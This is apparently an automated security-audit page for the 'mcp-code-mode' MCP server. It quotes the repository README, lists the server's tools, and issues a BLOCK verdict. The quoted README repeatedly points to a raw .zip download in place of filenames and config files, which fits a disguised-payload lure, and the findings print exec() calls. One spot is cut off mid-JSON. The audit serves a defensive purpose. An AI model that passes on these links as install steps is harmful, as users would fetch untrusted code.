mcp-code-modeBLOCK
🤖 Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🌐 Download the Latest Version
[](https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip)
🚀 Getting Started
Welcome to the MCP Code Mode project! This application allows you to execute Python code safely while leveraging the power of AI. Follow the steps below to download and run the application.
1. 💻 Installation
To get started, you’ll need to set up your environment. This application requires Python 3.11 or higher and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip 20 or higher.
Step-by-Step Installation:
- Create a Virtual Environment:
Open your terminal and run:
python3.11 -m venv .venv source .venv/bin/activate
- Install Required Python Packages:
Next, use this command to install the necessary dependencies:
pip install -e .[dev]
- Install https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip Dependencies:
To ensure you have the latest packages for reference servers, run:
npm install -g npm@latest
2. 🛠️ Configuration
Now that you have installed the application, it’s time to configure it.
Copy the Example Environment Settings:
To get started quickly, duplicate the example environment file:
cp https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip .env
Configure Your MCP Servers:
Edit the https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip file. You will need to specify your MCP servers. Here’s an example of what it might look like:
{
"servers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/your-working-folder"],
"des3bac40412549OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mcp-code-mode --env GEMINI_API_KEY=${GEMINI_API_KEY} --env OPENAI_API_KEY=${OPENAI_API_KEY} -- uvx mcp-code-mode{
"mcpServers": {
"mcp-code-mode": {
"command": "uvx",
"args": [
"mcp-code-mode"
],
"env": {
"GEMINI_API_KEY": "${GEMINI_API_KEY}",
"OPENAI_API_KEY": "${OPENAI_API_KEY}"
}
}
}
}Exposed tools (5)
2 read · 3 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
echo | read | Echo a message back to the caller. |
execute_code | write | Execute Python code inside DSpy |
read_file | read | Read the contents of a file |
run_agent | write | |
write_file | write | Write content to a file |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (1 observation(s))
- Shell
- declared (2 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (10)
" exec(code, globals(), locals())\n"
exec(code, env, env)
code-mcp-mode-2.1.zip
self._base_url = f"http://127.0.0.1:{port}/call"return {"endpoint": "http://127.0.0.1:9999/call", "token": token}pytest, pytest-asyncio, pytest-cov, black, ruff, mypy
aiohttp, dspy-ai, fastmcp, google-generativeai, httpx, mcp, gradio, openai
.kilocode/mcp-code-mode_3.8-alpha.4.zip
- In a **Hugging Face Space**, this tool will have access to the container's file system and environment variables (including your API keys).
Gates applied: no_behavioural_pass, no_license.
3bac40412549full audit observations/trust-audit/mcp-server/jame0077__mcp-code-mode.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 3bac40412549 | BLOCK | D | 69 | first audit |
Questions
What is the mcp-code-mode MCP server?
🤖 Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.
What tools does mcp-code-mode expose?
5 in total: 2 read-only, 3 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is mcp-code-mode safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does mcp-code-mode need?
It reads GEMINI_API_KEY and OPENAI_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does mcp-code-mode run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as mcp-code-mode.
How current is this page?
The grade is for one exact copy of the source (3bac40412549), read on 2026-10-11. The repository is watched and re-audited when it changes.